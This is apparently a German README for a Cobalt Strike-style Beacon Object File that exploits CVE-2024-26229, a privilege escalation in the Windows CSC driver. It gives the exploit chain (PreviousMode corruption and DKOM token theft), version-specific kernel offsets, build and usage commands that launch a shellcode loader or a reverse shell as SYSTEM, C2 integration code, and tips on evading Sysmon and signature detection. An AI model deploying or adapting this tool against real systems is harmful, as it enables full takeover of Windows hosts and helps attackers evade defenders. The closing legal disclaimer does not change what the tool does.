
CVE-2024-26229 Beacon Object File-Version
Beacon Object File-Implementierung von CVE-2024-26229 — Lokale Privilegienausweitung des Windows CSC-Treibers mittels DKOM-Token-Diebstahl.
Basiert auf RalfHacker/CVE-2024-26229-exploit, umgewandelt in BOF mit dynamischer Funktionsauflösung (DFR) zur Verwendung mit C2-Frameworks, die die Cobalt Strike BOF-API unterstützen.
\Device\Mup\;Csc\.\. über NtCreateFile, um ein Handle auf den CSC-Treiber zu erhalten0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) mit einem präparierten Eingabepuffer, der auf KTHREAD->PreviousMode - 0x18 zeigt, und korrumpiert PreviousMode von UserMode zu KernelModePreviousMode = KernelMode kann NtWriteVirtualMemory auf beliebige Kernel-Adressen schreibenEPROCESS->Token des SYSTEM-Prozesses (PID 4) über das aktuelle Prozess-Token (DKOM)PreviousMode auf UserMode zurückCreateProcessA — der Kindprozess erbt das SYSTEM-TokenDer Beacon-Prozess selbst wird nach Schritt 4 zu SYSTEM. Der gestartete Prozess ist optional — wenn CreateProcessA fehlschlägt, ist der Beacon dennoch erhöht.
HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)| Offset | Wert | Struktur |
|---|---|---|
EPROCESS->Token | 0x4B8 | Windows 10 19041–19045 / Server 2019 17763 |
KTHREAD->PreviousMode | 0x232 | Windows 10 19041–19045 / Server 2019 17763 |
Diese Offsets sind versionsspezifisch. Wenn Sie ein anderes Build anvisieren, überprüfen Sie mit WinDbg:
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode
Erfordert mingw-w64 und einen beacon.h-Header, der mit Ihrem C2-Framework kompatibel ist.
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c
Platzieren Sie die kompilierte .o-Datei in Ihrem BOF-Verzeichnis (z. B. _bin/cve-2024-26229.x64.o).
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]
Einen Loader mit lokalem Shellcode starten:
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"
Eine Reverse-Shell starten:
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"
Ohne Argumente ausführen:
cve-2024-26229 --path C:\Users\user\beacon.exe
[+] System EPROCESS = 0xffff9383f3a62040
[+] Current KTHREAD = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin
Registrieren Sie den BOF in Ihrem .axs-Erweiterungsskript:
var cmd_cve26229 = ax.create_command(
"cve-2024-26229",
"CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
"cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let path = parsed_json["path"];
let args = parsed_json["args"];
if (!path) {
ax.task_output(id, "Error: --path is required");
return;
}
let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});
Das Argument-Packing ist cstr,cstr — zwei null-terminierte Zeichenfolgen, die den beiden BeaconDataExtract-Aufrufen im BOF entsprechen.
PreviousMode. Keine Dateien geschrieben, keine Dienste erstellt, keine Registrierungsänderungen.--munition-local-Muster), anstatt über HTTP abzurufen, um netzwerkbasierte Erkennungen zu vermeiden.CreateProcessA mit CREATE_NO_WINDOW. Der gestartete Prozess erbt das SYSTEM-Token. Wenn Ihr Loader in einen anderen Prozess injiziert (z. B. svchost.exe), kann der Loader auf der Festplatte anschließend bereinigt werden.NtCreateFile-Aufruf an \Device\Mup\;Csc\.\. und das IOCTL werden von Standard-Sysmon-Konfigurationen normalerweise nicht protokolliert. Der CreateProcessA-Aufruf erzeugt ein standardmäßiges Process Create (Event ID 1) — stellen Sie sicher, dass Ihre gestartete Binärdatei nicht signaturbasiert erkannt wird.PreviousMode nach dem Token-Kopieren auf UserMode zurück. Der Beacon-Prozess funktioniert nach der Ausnutzung normal weiter.EPROCESS->Token (0x4B8) und KTHREAD->PreviousMode (0x232) gelten für Windows 10 19041–19045 und Server 2019 17763. Andere Builds erfordern möglicherweise Anpassungen.sc query csc oder die Registrierung HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). Der Treiber ist standardmäßig auf Workstations aktiviert, kann aber auf Servern deaktiviert sein.Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Sicherheitsforschung bestimmt.
Die Nutzung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist nach vietnamesischem Recht illegal, einschließlich, aber nicht beschränkt auf:
Dieses Tool wird ausschließlich zu Bildungszwecken bereitgestellt. Der Autor übernimmt keine Haftung für Missbrauch. Sie sind allein dafür verantwortlich, dass Ihre Nutzung allen geltenden lokalen, nationalen und internationalen Gesetzen entspricht.
Durch die Nutzung dieses Tools bestätigen Sie, dass Sie vor jeder Testaktivität die ordnungsgemäße Genehmigung des Systembesitzers eingeholt haben.